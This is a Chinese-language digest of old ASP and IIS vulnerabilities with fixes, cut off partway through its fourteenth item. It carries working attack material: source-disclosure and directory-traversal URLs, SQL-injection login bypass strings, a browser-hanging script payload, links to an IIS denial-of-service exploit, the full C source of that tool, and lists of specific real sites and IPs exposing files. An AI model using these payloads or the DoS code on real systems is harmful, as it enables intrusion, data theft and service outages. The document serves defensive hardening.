1 在ASP程式後加個特殊符號,能看到ASP來源程式
受影響的版本:
win95+pws
IIS3.0
98+pws4 不存在這個漏洞。
IIS4.0以上的版本也不存在這個漏洞。
問題描述:
這些特殊符號包括小數點,%81, ::$DATA。比如:
http://someurl/somepage.asp.
http:// someurl/somepage.asp%81
http:// someurl/somepage.asp::$DATA
http:// someurl/somepage.asp %2e
http:// someurl/somepage %2e%41sp
http:// someurl/somepage%2e%asp
http:// someurl/somepage.asp %2e
http://someurl/msadc/samples/selector/showcode.asp?source=/msadc/samples/../../../../../../boot.ini (可以看到boot.ini的檔案內容)
那麼在安裝有IIS3.0和win95+PWS的瀏覽中就很容易看到somepage.asp的來源程式。究竟是什麼原因造成了這種可怕的漏洞呢?
究其根源其實是 Windows NT 特有的檔案系統在做怪。有一點常識的人都知道在 NT 提供了一種完全不同於 FAT 的檔案系統:NTFS,這種被稱之為新技術檔案系統的技術使得 NT 具有了較高的安全機制,但也正是因為它而產生了不少令人頭痛的隱患。
大家可能不知道, NTFS 支援包含在一個檔案中 的多資料流,而這個包含了所有內容的主要資料流被稱之為"DATA",因此使得在瀏覽器裡直接存取 NTFS 系統的這個特性而輕易的捕獲在檔案中的指令碼程式成為了可能。然而 直接導致 ::$DATA 的原因是由於 IIS 在解析檔案名稱的時候出了問題,它沒有很好地規範檔案名稱。
解決方案和建議:
如果是Winodws NT使用者,安裝IIS4.0或者IIS5.0,Windows2000不存在這個問題。如果是win95使用者,安裝WIN98和PWS4.0。
2 ACCESS mdb 資料庫有可能被下載的漏洞
問題描述:
在用ACCESS做後台資料庫時,如果有人通過各種方法知道或者猜到了伺服器的ACCESS資料庫的路徑和資料庫名稱,那麼他能夠下載這個ACCESS資料庫檔案,這是非常危險的。比如:如果你的ACCESS資料庫book.mdb放在虛擬目錄下的database目錄下,那麼有人在瀏覽器中打入:
http:// someurl/database/book.mdb
如果你的book.mdb資料庫沒有事先加密的話,那book.mdb中所有重要的資料都掌握在別人的手中。
解決方案:
(1) 為你的資料庫檔案名稱起個複雜的非常規的名字,並把他放在幾層錄下。所謂"非常規",打個比方:比如有個資料庫要儲存的是有關書籍的資訊,可不要把他起個"book.mdb"的名字,起個怪怪的名稱,比如d34ksfslf.mdb,再把他放在如./kdslf/i44/studi/ 的幾層目錄下,這樣駭客要想通過猜的方式得到你的ACCESS資料庫檔案就難上加難了。
(2)不要把資料庫名寫在程式中。有些人喜歡把DSN寫在程式中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如萬一給人拿到了來源程式,你的ACCESS資料庫的名字就一覽無餘。因此建議你在ODBC裡設定資料來源,再在程式中這樣寫:conn.open "shujiyuan"
(3)使用ACCESS來為資料庫檔案編碼及加密。首先在選取"工具->安全->加密/解密資料庫,選取資料庫(如:employer.mdb),然後接確定,接著會出現"資料庫加密後另存新檔"的視窗,存為:employer1.mdb。接著employer.mdb就會被編碼,然後存為employer1.mdb..
要注意的是,以上的動作並不是對資料庫設定密碼,而只是對資料庫檔案加以編碼,目的是為了防止他人使用別的工具來查看資料庫檔案的內容。
接下來我們為資料庫加密,首先以開啟經過編碼了的employer1.mdb,在開啟時,選擇"獨佔"方式。然後選取功能表的"工具->安全->設定資料庫密碼",接著輸入密碼即可。
為employer1.mdb設定密碼之後,接下來如果再使用ACCEES資料庫檔案時,則ACCESS會先要求輸入密碼,驗證正確後才能夠啟動資料庫。
不過要在ASP程式中的connection對象的open方法中增加PWD的參數即可,例如:
param="driver={Microsoft Access Driver (*.mdb)};Pwd=yfdsfs"param=param&";dbq="&server.mappath("employer1.mdb")
conn.open param
這樣即使他人得到了employer1.mdb檔案,沒有密碼他是無法看到employer1.mdb的.
3 code.asp檔案會泄漏ASP代碼
問題描述:
舉個很簡單的例子,在微軟提供的 ASP1.0 的常式裡有一個 .asp 檔案,專門用來查看其它 .asp 檔案的原始碼,該檔案為ASPSamp/Samples/code.asp。如果有人把這個程式上傳到伺服器,而伺服器端沒有任何防範措施的話,他就可以很容易地查看他人的程式。例如 :
code.asp?source=/directory/file.asp
不過這是個比較舊的漏洞了,相信現在很少會出現這種漏洞。
下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp
最大的危害莫過於asa檔案可以被上述方式讀出;資料庫密碼以明文形式暴露在駭客眼前;
問題解決或建議:
對於IIS內建的show asp code的asp程式檔案,刪除該檔案或者禁止訪問該目錄即可
4、filesystemobject 組件篡改下載 fat 分區上的任何檔案的漏洞
問題描述:
IIS3、 IIS4 的 ASP 的檔案操作都可以通過 filesystemobject 實現,包括文字檔的讀寫目錄操作、檔案的拷貝改名刪除等,但是這個強大的功能也留下了非常危險的 "後門"。利用 filesystemobjet 可以篡改下載 fat 分區上的任何檔案。即使是 ntfs 分區,如果許可權沒有設定好的話,同樣也能破壞,一不小心你就可能遭受"滅頂之災 "。遺憾的是很多 webmaster 只知道讓 網頁伺服器運行起來,很少對 ntfs 進行許可權 設定,而 NT 目錄許可權的預設設定偏偏安全性又低得可怕。因此,如果你是Webmaster,建議你密切關注伺服器的設定,盡量將 web 目錄建在 ntfs 分區上,目錄不要設定 everyone full control,即使是是Administrator 群組的成員一般也沒什麼必要 full control,只要有讀取、更改許可權就足夠了。 也可以把filesystemobject的組件刪除或者改名。
5、輸入標準的HTML語句或者javascript語句會改變輸出結果
問題描述:
在輸入框中打入標準的HTML語句會得到什麼相的結果呢?
比如一個留言本,我們留言內容中打入:<font size=10>你好!</font>
如果你的ASP程式中沒有屏蔽html語句,那麼就會改變"你好"字型的大小。在留言本中改變字型大小和貼圖有時並不是什麼壞事,反而可以使留言本生動。但是如果在輸入框中寫個 javascript 的死迴圈,比如:<a herf="http://someurl"onMouseover="while(1){window.close('/')}">特大新聞</a>
那麼其他查看該留言的客人只要移動滑鼠到"特大新聞",上就會使使用者的瀏覽器因死迴圈而死掉。
解決方案和建議:
編寫類似程式時應該做好對此類操作的防範,譬如可以寫一段程式判斷用戶端的輸入,並屏蔽掉所有的 HTML、 Javascript語句。
6、ASP程式密碼驗證漏洞
漏洞描述:
很多網站把密碼放到資料庫中,在登陸驗證中用以下sql,(以asp為例)
sql="select * from user where username='"&username&"'and pass='"& pass &'"
此時,您只要根據sql構造一個特殊的使用者名稱和密碼,如:ben' or '1'='1就可以進入本來你沒有特權的頁面。再來看看上面那個語句吧: sql="select * from user where username='"&username&"'and pass='"& pass&'"
此時,您只要根據sql構造一個特殊的使用者名稱和密碼,如:ben' or '1'='1
這樣,程式將會變成這樣: sql="select*from username where username="&ben'or'1'=1&"and pass="&pass&"or 是一個邏輯運算子,作用是在判斷兩個條件的時候,只要其中一個條件成立,那麼等式將會成立.而在語言中,是以1來代表真的(成立).那麼在這行語句中,原語句的"and"驗證將不再繼續,而因為"1=1"和"or"令語句返回為真值。
另外我們也可以構造以下的使用者名稱:
username='aa' or username<>'aa'
pass='aa' or pass<>'aa'
相應的在瀏覽器端的使用者名稱框內寫入:aa' or username<>'aa 口令框內寫入:aa' or pass<>'aa,注意這兩個字串兩頭是沒有'的。這樣就可以成功的騙過系統而進入。
後一種方法理論雖然如此,但要實踐是非常困難的,下面兩個條件都必須具備。
1. 你首先要能夠準確的知道系統在表中是用哪兩個欄位儲存使用者名稱和口令的,只有這樣你才能準確的構造出這個進攻性的字串。實際上這是很難猜中的。
2.系統對你輸入的字串不進行有效性檢查。
問題解決和建議:
對輸入的內容驗證和"'"號的處理。
7、IIS4或者IIS5中安裝有INDEX SERVER服務會漏洞ASP來源程式
問題描述:
在運行IIS4或者IIS5的Index Server,輸入特殊的字元格式設定可以看到ASP來源程式或者其它頁面的程式。甚至以及添打了最近關於參看原始碼的補丁程式的系統,或者沒有.htw檔案的系統,一樣存在該問題。獲得asp程式,甚至global.asa檔案的原始碼,無疑對系統是一個非常重大的安全隱患。往往這些代碼中包含了使用者密碼和ID,以及資料庫的源路徑和名稱等等。這對於攻擊者收集系統資訊,進行下一步的入侵都是非常重要的。
通過構建下面的特殊程式可以參看該程式原始碼:
http://202.116.26.38/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
這樣只是返回一些html格式的檔案代碼,但是當你添加%20到CiWebHitsFile的參數後面,如下:
http://someurl/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
這將獲得該程式的原始碼。
(注意:/default.asp是以web的根開始計算。如某網站的http:///welcome/welcome.asp
那麼對應就是:
http://someurl/null.htw?CiWebHitsFile=/welcome/welcome.asp%20&CiRestriction=none&CiHiliteType=Full
)
由於'null.htw'檔案並非真正的系統對應檔,所以只是一個儲存在系統記憶體中的虛擬檔案。哪怕你已經從你的系統中刪除了所有的真實的.htw檔案,但是由於對null.htw檔案的請求預設是由webhits.dll來處理。所以,IIS仍然收到該漏洞的威脅。
問題解決或者建議:
如果該webhits提供的功能是系統必須的,請下載相應的補丁程式。如果沒必要,請用IIS的MMC管理工具簡單移除.htw的映象檔案。
補丁程式如下:
Index Server 2.0:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17727
Alpha:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17728
Indexing Services for Windows 2000:
Intel:
http://www.microsoft.com/downloads/release.asp?ReleaseID=17726
8、繞過驗證直接進入ASP頁面。
漏洞描述:
如果使用者知道了一個ASP頁面的路徑和檔案名稱,而這個檔案又是要經過驗證才能進去的,但是使用者直接輸入這個ASP頁面的檔案名稱,就有可能通過繞過驗證.比如:我在一些網站上這樣試過:首先關閉所有的瀏覽器,視窗,輸入:http://someurl/system_search.asp?page=1
就樣就看到了只能系統員才能看到的頁面。當然有些人為了防止這種情況也會在system_search.asp的開頭加個判斷,比如:
判斷session("system_name"),如果不為空白時就能進入,這樣上面的url請求就不能直接進入管理員頁面了。但是這種方法也有一個漏洞,如果攻擊者先用一個合法的帳號,或者在本機上產生一個session,如session("system_name")="admi",那因為session("system_name")不為空白,這樣也能直接進入繞過密碼,直接進入管理員頁面。
解決方案:
在需要驗證的ASP頁面開頭處進行相應的處理。比如:可跟蹤上一個頁面的檔案名稱,只有從上一頁面轉進來的會話才能讀取這個頁面。
9、IIS4.0/5.0特殊資料格式的URL請求遠程DOS攻擊
漏洞描述:
當在安裝有有IIS4.0或者IIS5.0的web服務上,請求一個具有特殊資料格式的URL,會拖慢受攻擊web伺服器的響應速度,或許會使其暫時停止回應。
受影響的版本:
MicrosoftInternetInformationServer4.0
MicrosoftInternetInformationServer5.0
漏洞測試程式如下:
http://202.96.168.51/download/exploits/iisdos.exe
原始碼如下:
http://202.96.168.51/download/exploits/iisdos.zip
測試程式:
只要打入:iisdos<***.***.**.**>就能攻擊對方web伺服器
問題解決:
InternetInformationServer4.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906
InternetInformationServer5.0:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904
更多的資訊:
http://www.microsoft.com/technet/security/bulletin/ms00-030.asp
Microsoft資訊安全諮詢MS00-021:
http://www.microsoft.com/technet/security/bulletin/fq00-030.asp
相關串連
http://www.ussrback.com
10、 IIS web server DOS
漏洞描述:
預設情況下,IIS容易被拒絕服務的攻擊。如果註冊表中有一個叫 "MaxClientRequestBuffer" 的鍵未被建立,針對這種NT系統的攻擊通常能奏效。
"MaxClientRequestBuffer" 這個鍵用於設定IIS允許接受的輸入量。如果 "MaxClientRequestBuffer"設定為256(bytes),則攻擊者通過輸入大量的字元請求IIS將被限制在256位元組以內。而系統的預設設定對此不加限制,因此,利用下面的程式。可以很容易地對IIS server實行DOS攻擊:
#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS./nMarc@eEye.com/nhttp://www.eeye.com/n/"For my
beloved./"/n");
if(argc<2){
printf("Usage: %s [server] [port]/n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock./n");
exit(1);
}
else{
printf("started winsock./n/n");
}
counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads./n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}
void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP//r/n";
int die=1;
printf("Entered CNG/n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket/n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i/n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i/n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG/n");
return;
}
cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]
Where:
[return] is just an /r/n
[buffer] is a never ending stream of A's
攻擊結果將導致NT系統的CPU佔用率達到 100%
解決方案
運行Regedt32.exe,在:HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/w3svc/parameters
增加一個值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
設定為十進位
具體數值設定為你想設定的IIS允許接受的URL最大長度。
CNNS的設定為256
11、MS ODBC資料庫連接溢出導致NT/9x拒絕服務的攻擊
漏 洞 描 述:
Microsoft ODBC資料庫在串連和斷開時可能存在潛在的溢出問題(Microsoft ACCESS資料庫相關)。如果不取消串連而直接和第二個資料庫相串連,可能導致服務停止。
影響系統:
ODBC 版本: 3.510.3711.0
ODBC Access驅動版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)
漏洞檢測方法如下:
ODBC 串連源名稱: miscdb
ODBC 資料庫型號: MS Access
ODBC 假設路徑: d:/data/misc.mdb
ASP代碼如下:
<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>
<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>
<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:/data/misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>
在這種情況下,IIS處理進程將會停頓,CPU使用率由於inetinfo.exe進程將達到100%。只有重新啟動電腦才能恢複。
12、ASP首頁.inc檔案泄露問題
漏洞描述:
受影響的版本:任何提供ASP服務的系統
遠程:YES / 本地:YES
內容摘要:
當存在asp的首頁正在製作並沒有進行最後調試完成以前,可以被某些搜尋引擎機動追加為搜尋對象,如果這時候有人利用搜尋引擎對這些網頁進行尋找,會得到有關檔案的定位,並能在瀏覽器中察看到資料庫地點和結構的細節揭示完整的原始碼。
具體操作過程是:
- 利用搜尋引擎尋找包含+"Microsoft VBScript 運行時刻錯誤執行搜尋" +".inc ," 的關鍵字
- 搜尋引擎會自動尋找包含asp的包含檔案(.inc)並顯示給使用者
- 利用瀏覽器觀看包含檔案的原始碼,其中可能會有某些敏感資訊
漏洞的利用:
例子:
- http://shopping.altavista.com/inc/lib/prep.lib
暴露資料庫連接和性質, 資源地點, 小甜餅邏輯,伺服器 IP 位址
- http://www.justshop.com/SFLib/ship.inc
暴露資料庫性質
- http://www.bbclub.com:8013/includes/general.inc
暴露 cobranding
- http://www.salest.com/corporate/admin/include/jobs.inc
暴露 datafile 地點和結構
- http://www.bjsbabes.com/SFLib/design.inc
包括資料庫結構為 StoreFront 2000 暴露原始碼
- http://www.ffg.com/scripts/IsSearchEngine.inc
暴露搜尋引擎記錄檔案
- http://www.wcastl.com/include/functions.inc
暴露成員電子郵件地址
- http://www.wcastl.com/flat/comments.txt
暴露成員私人的注釋檔案
- http://www.traveler.net/two/cookies.inc
暴露 cookie 邏輯
解決方案:
- 搜尋引擎應該不索引有 asp 運行時刻錯誤的頁
- 程式員應該在網頁發布前對其進行徹底的調試
- 安全專家需要固定 asp 包含檔案以便外部的使用者不能看他們
asp 新聞群組、網站提供兩個解決方案對這個漏洞進行修正,首先對 .inc 檔案內容進行加密,其次也可以使用 .asp 檔案代替 .inc 檔案使使用者無法從瀏覽器直接觀看檔案的原始碼。.inc 檔案的檔案名稱不用使用系統預設的或者有特殊含義容易被使用者猜測到的,盡量使用無規則的英文字母。
13、利用Activer server explorer可對檔案進行讀寫訪問
漏洞描述:
chinaasp的Activer server explorer可以很方便的對本地檔案線上查看伺服器上的目錄 線上查看檔案的名稱、大小、類型、修改時間,線上編輯純文字檔案,如.txt、.htm、.asp、.pl、.cgi等等,直接執行伺服器上的檔案。
Activer server explorer要求填寫相對路徑或者絕對路徑,但是假如:有一個攻擊者把Activer server explorer上傳到目標伺服器上的某個目錄,並且這個目錄支援ASP的話,那麼他就可以通過Activer server explorer修改、執行目標伺服器上的檔案。這種情況可以發生在一個攻擊者擁有目標NT伺服器上的一個可寫目錄帳號,並且這個目錄又支援ASP。比如一些支援ASP的個人免費首頁伺服器,把Activer server explorer先傳上你申請的免費首頁空間,再通過各種方法得到目標伺服器的路徑,(比如可通過漏洞:"請求不存在的副檔名為idq或ida 檔案,會暴露檔案在伺服器上的物理地址.").或者直接在相對路徑上填".",一般是預設。這樣攻擊者就能任意修改,執行目標伺服器上的檔案,不管他對這個檔案有無讀寫訪問權。
所以那些提供有ASP服務的個人首頁或者其它服務的伺服器,就要加倍小心這種攻擊了。
漏洞解決方案
其實Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區上的任何檔案的漏洞。
那麼我們如何才能限制使用者使用FileSystemObject對象呢?一種極端的做法是完全反註冊掉提供FileSystemObject對象的那個組件,也就是Scrrun.dll。具體的方法如下:
在MS-DOS狀態下面鍵入:
Regsvr32 /u c:/windows/system/scrrun.dll
(注意:在實際操作的時候要更改成為你本地的實際路徑)
但是這樣的話,就不能使用FileSystemObject對象了,有時利用FileSystemObject對象來管理檔案是很方便,有什麼辦法能
兩全其美呢?
我們可以做到禁止他人非法使用FileSystemObject對象,但是我們自己仍然可以使用這個對象.
方法如下:
尋找註冊表中
HKEY_CLASSES_ROOT/Scripting.FileSystemObject 索引值
將其更改成為你想要的字串(右鍵-->"重新命名"),比如更改成為
HKEY_CLASSES_ROOT/Scripting.FileSystemObject2
這樣,在ASP就必須這樣引用這個對象了:
Set fso = CreateObject("Scripting.FileSystemObject2")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法來調用FileSystemObject對象就會無法使用了。
只要你不告訴別人這個更改過的對象名稱,其他人是無法使用FileSystemObject對象的。這樣,作為網站管理者我們就杜絕了他人非法使用FileSystemObject對象,而我們自己仍然可以使用這個對象來方便的實現網站線上管理等等功能了!
14、 IIS4.0/IIS5.0超長檔名請求存在漏洞
漏洞描述:
受影響的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
當在一個已知的檔案名稱後加230個"%20"再加個.htr,會使安裝有Microsoft IIS 4.0/5.0泄漏該檔案的內容。這是由ISM.dll映射的.htr檔案引起的.比如:
http://target/filename%20<重複230次>.htr
這種請求只有當.htr請求是第一次調用或者ISM.dll第一次裝載進記憶體,才能起作用。
解決方案:
安裝補丁:
Microsoft IIS 5.0: